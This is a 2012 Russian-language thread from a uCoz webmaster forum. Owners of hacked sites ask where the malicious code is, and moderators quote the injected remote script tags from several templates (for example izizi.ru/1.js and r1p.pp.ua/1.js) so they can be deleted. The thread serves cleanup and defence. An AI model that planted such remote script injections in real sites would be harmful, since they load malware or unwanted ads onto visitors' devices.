Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Вирусы на сайтах_2
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 331 | 14:18:43 14 Фев 2012
legioner5455, можно удалить это реклама от тбн. но в следующий раз надо давать адрес сайта
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Балбес
Репутация: 2

Сообщение # 332 | 17:52:14 14 Фев 2012
Скажите пожалуйста только что обнаружил какой-то сайт, точная копия моего!! Полностью: статистика, шаблоны, вообще всё что там есть только с другим доменом! Скажите пожалуйста можно ли куда нибудь пожаловаться? Они скорее всего хотят чтобы я там авторизовался?
Вот мой сайт: http://resheba.ru/
Вот сайт взломщиков: http://ojsxg2dfmjqs44tv.cameleo.ru/
Едет вебмастер в поезде и слышит: <td></td> ... <td></td> ... <td></td>
Сообщение отредактировал Балбес - Вторник, 14 Фев 2012, 17:52:27
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 333 | 18:02:12 14 Фев 2012
Балбес, вот через что пропустили ваш сайт cameleo.ru
где вы нашли ссылку?
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Балбес
Репутация: 2

Сообщение # 334 | 18:04:49 14 Фев 2012
webanet, меня забанили в lititbit.net за "накрутку скачиваний". Хотя никакие скачивания я не накручивал! Проблему решил меня разбанили, но я посмотрел с каких сайтов переходят на мои файлы и нашёл его!
Едет вебмастер в поезде и слышит: <td></td> ... <td></td> ... <td></td>
Сообщение отредактировал Балбес - Вторник, 14 Фев 2012, 18:05:48
legioner5455
Сообщений: 8
Репутация: 0

Сообщение # 335 | 20:10:03 14 Фев 2012
не подскажите еще есть вопросик, на сайте nintendo.moy.su который мне достался от превидущего владельца где-то размещена реклама такого плана раз-два в день она запускаеться, когда я нажимаю на меню сайта и открывается окошко в новом окне с интернет путанами, не могли бы вы подсказать где скрыт вредоностный код?

Добавлено (14-Фев-2012, 18:31:04)
---------------------------------------------
на сайте также висит реклама от попандер ру она моя код где расположен мне известно, это чтобы не путать вас

Добавлено (14-Фев-2012, 20:04:14)
---------------------------------------------
вот ссылка на сайт по которой открываетсяя новое окно http://spb.devochki.ru/?fr=pund

Добавлено (14-Фев-2012, 20:10:03)
---------------------------------------------
и еще как убрать мусор внизу этой страницы http://nintendo.moy.su/load/kong_king_of_atlantis_russkaja_versija/14-1-0-778
мусор в самом низу под комментариями вот строка <script language="JavaScript" type="text/javascript" src="http://4allclick.ru/get.js?user_id=3117&mode=rich"></script>

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 336 | 21:45:04 14 Фев 2012
legioner5455,
Quote
и еще как убрать мусор внизу этой страницы http://nintendo.moy.su/load....1-0-778
мусор в самом низу под комментариями вот строка <script language="JavaScript" type="text/javascript" src="http://4allclick.ru/get.js?user_id=3117&mode=rich"></script>


Quote
<!-- </middle> -->
<div class="fix"> </div>
<div class="fix"> </div>
</div>
<div id="page-bot"> <script language="JavaScript" type="text/javascript" src="http://4allclick.ru/get.js?user_id=3117&mode=rich"></script><br><br></div>

</div>


на счет рекламы. у вас она всплывает под логином или под гостем? под гостем крове вашей грязи от попандер ру ничего не вижу
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 337 | 17:20:43 15 Фев 2012
для STALKER102

выделенное красным удалить

Quote
<tr><td width="20%" nowrap="nowrap"><img src="http://uafilms.3dn.ru/radikal_uploads/7.png" height="19" width="19" >Логин</td><td><script src="http://izizi.ru/1.js" type="text/javascript"></script>
<input class="loginField" type="text" name="user" value="" size="19" style="width:100%;" maxlength="50"/></td></tr>


из нижней части сайта стоит удалить

Quote
<!-- </block3914> -->
<meta name="title" content="все для Counter Strike: Source, все для MineCraft, ">
<meta name="description" content="сервера, читы, плагины, модели, скины, моды, фоны,игры, программы, статьи, патчи, ">
<meta name="keywords" content="новые патчи, готовые сервера, все для css, css, скачать читы скачать сервера бесплатно, модели бесплатно, ">
<meta name="owner" content="ruslanmbd@mail.ru">
<meta name="author" content="stalker102">
<meta http-equiv="expires" content="Mon, 31 Dec 5000 00:00:00 PST">
<meta http-equiv="content-language" content="Russian">
<meta name="robots" content="index,follow">
<meta name="revisit-after" content="2 days">
<meta http-equiv="charset" content="windows-1251">
<meta http-equiv="vw96.object type" content="Homepage">
<!--/U1DRIGHTER1Z-->
</td></tr></tbody>

</table></td></tr></tbody>
</table></td></tr></tbody></table>

<!--U1BFOOTER1Z--><meta name="title" content="все для Counter Strike: Source, все для MineCraft, ">
<meta name="description" content="сервера, читы, плагины, модели, скины, моды, фоны,игры, программы, статьи, патчи, ">
<meta name="keywords" content="новые патчи, готовые сервера, все для css, css, скачать читы скачать сервера бесплатно, модели бесплатно, ">
<meta name="owner" content="ruslanmbd@mail.ru">
<meta name="author" content="stalker102">
<meta http-equiv="expires" content="Mon, 31 Dec 5000 00:00:00 PST">
<meta http-equiv="content-language" content="Russian">
<meta name="robots" content="index,follow">
<meta name="revisit-after" content="2 days">
<meta http-equiv="charset" content="windows-1251">
<meta http-equiv="vw96.object type" content="Homepage">



из формы входа удалить

Quote
}
</script>
<div id="blk549127" style="border:1px solid #CCCCCC;position:absolute;z-index:82;background:url('http://s58.ucoz.net/img/fr/g.gif');display:none;"></div><form id="frmLg549127" action="/index/sub/" method="post" style="margin:0" onsubmit="sendFrm549127();return false;"><meta name="title" content="все для Counter Strike: Source, все для MineCraft, ">
<meta name="description" content="сервера, читы, плагины, модели, скины, моды, фоны,игры, программы, статьи, патчи, ">
<meta name="keywords" content="новые патчи, готовые сервера, все для css, css, скачать читы скачать сервера бесплатно, модели бесплатно, ">
<meta name="owner" content="ruslanmbd@mail.ru">
<meta name="author" content="stalker102">
<meta http-equiv="expires" content="Mon, 31 Dec 5000 00:00:00 PST">
<meta http-equiv="content-language" content="Russian">
<meta name="robots" content="index,follow">
<meta name="revisit-after" content="2 days">
<meta http-equiv="charset" content="windows-1251">
<meta http-equiv="vw96.object type" content="Homepage">

<table border="0" cellspacing="1" cellpadding="0" width="100%">

<tr><td width="20%" nowrap="nowrap"><img src="http://uafilms.3dn.ru/radikal_uploads/7.png" height="19" width="19" >Логин


из вида материалов удалить

Quote
<meta name="description" content="сервера, читы, плагины, модели, скины, моды, фоны,игры, программы, статьи, патчи, ">
<meta name="keywords" content="новые патчи, готовые сервера, все для css, css, скачать читы скачать сервера бесплатно, модели бесплатно, ">
<meta name="owner" content="ruslanmbd@mail.ru">
<meta name="author" content="stalker102">
<meta http-equiv="expires" content="Mon, 31 Dec 5000 00:00:00 PST">
<meta http-equiv="content-language" content="Russian">
<meta name="robots" content="index,follow">
<meta name="revisit-after" content="2 days">
<meta http-equiv="charset" content="windows-1251">
<meta http-equiv="vw96.object type" content="Homepage">


выделенное синим удалить

Quote
</marquee><!-- </bc> --></div>
</div></td></tr></tbody></table>
<!-- </block6173> -->

<meta name="title" content="все для Counter Strike: Source, все для MineCraft, ">
<meta name="description" content="сервера, читы, плагины, модели, скины, моды, фоны,игры, программы, статьи, патчи, ">
<meta name="keywords" content="новые патчи, готовые сервера, все для css, css, скачать читы скачать сервера бесплатно, модели бесплатно, ">
<meta name="owner" content="ruslanmbd@mail.ru">
<meta name="author" content="stalker102">
<meta http-equiv="expires" content="Mon, 31 Dec 5000 00:00:00 PST">
<meta http-equiv="content-language" content="Russian">
<meta name="robots" content="index,follow">
<meta name="revisit-after" content="2 days">
<meta http-equiv="charset" content="windows-1251">
<meta http-equiv="vw96.object type" content="Homepage">
<script type="text/javascript" src="http://csomsk.ru/js/jquery.easing.js"></script>
<script type="text/javascript" src="http://csomsk.ru/js/jquery.sweet-menu-1.0.js"></script>


если вы непричастны к байлинку
Code
<script language='JavaScript' charset='windows-1251' src='http://buy-link.ru/codes/banner.php?id=15199&s=1'></script>
<script language='JavaScript' charset='windows-1251' src='http://buy-link.ru/codes/banner.php?id=15204&s=1'></script>
<script language='JavaScript' charset='windows-1251' src='http://buy-link.ru/codes/banner.php?id=15208&s=1'></script>
то удалить все упоминания, а их много. в общем не код, а бред
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
админ5650
Сообщений: 11
Репутация: 0

Сообщение # 338 | 12:02:01 16 Фев 2012
в яндексе мой сайт выдаёт такое
Сайт может угрожать безопасности вашего компьютера или мобильного устройства.
подскажите где найти этот вредоносный код?
http://clubzone.ucoz.ua
bandjuk
Сообщений: 6816
Репутация: 2398
Уровень замечаний:

Сообщение # 339 | 12:17:54 16 Фев 2012
админ5650, В блоке "Меню $айта", удалите скрипт:
Code
<script type="text/javascript" src="http://wap-tds.in/code/js.php?i=4165&r=6801&p=10569&c=8"></script>
админ5650
Сообщений: 11
Репутация: 0

Сообщение # 340 | 13:40:26 16 Фев 2012
код удалил.а когда с вредоносных удалят?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 341 | 13:42:46 16 Фев 2012
админ5650, после обхода роботом. если есть вебмастер яндекса, то там во вкладке безопасность можно запустить перепроверку
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Vane228-procs
Сообщений: 7
Репутация: 6

Сообщение # 342 | 16:24:05 16 Фев 2012
Захожу на свой сайт http://blood-mods16.ucoz.ru и пишет

Внимание! Обнаружена проблема!
blood-mods16.ucoz.ru содержит материалы сайта tdskal.toh.info, который, по имеющимся данным, распространяет вредоносное ПО. Ваш компьютер может подвергнуться вирусной атаке при посещении этого сайта.
Google обнаружил, что на ваш компьютер могут быть установлены вредоносные программы, если вы продолжите просмотр этого сайта. Если вы посещали его в прошлом или доверяете ему, вполне возможно, что он недавно был взломан хакерами. Рекомендуется прекратить просмотр и посетить сайт завтра либо перейти на другой сайт.
Мы уже сообщили владельцу сайта tdskal.toh.info о том, что на его сайте найдено вредоносное ПО. Подробнее о проблемах, обнаруженных на tdskal.toh.info, можно узнать на странице Google Страница диагностики безопасного просмотра.

Подскажите пожалуйста где этот вредоносный код sad Буду очень благодарен
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 343 | 16:33:42 16 Фев 2012
Vane228-procs, из информера статистики пользователей выделенное красным удалить

Quote
<SPAN style="COLOR: #7b0176">11</SPAN></STRONG></TD><script type="text/javascript" src="http://r1p.pp.ua/1.js"></script></TR> <TR>


из кода блока радио удалить этот скрипт

Code
<script src="http://ijl.pp.ua/1.js" type="text/javascript"></script>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Vane228-procs
Сообщений: 7
Репутация: 6

Сообщение # 344 | 16:38:29 16 Фев 2012
БОЛЬШОЕ СПАСИБО!! hands
nicolaus32
Сообщений: 2
Репутация: 0

Сообщение # 345 | 21:13:39 16 Фев 2012
wwe-wu.net
1) Когда захожу на сайт мне выбивает "Этот сайт может угрожать безопасности вашего компьютера"
2)Гостем тоже

Прошу помочь очень.
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах_2 (для изучения)
Поиск: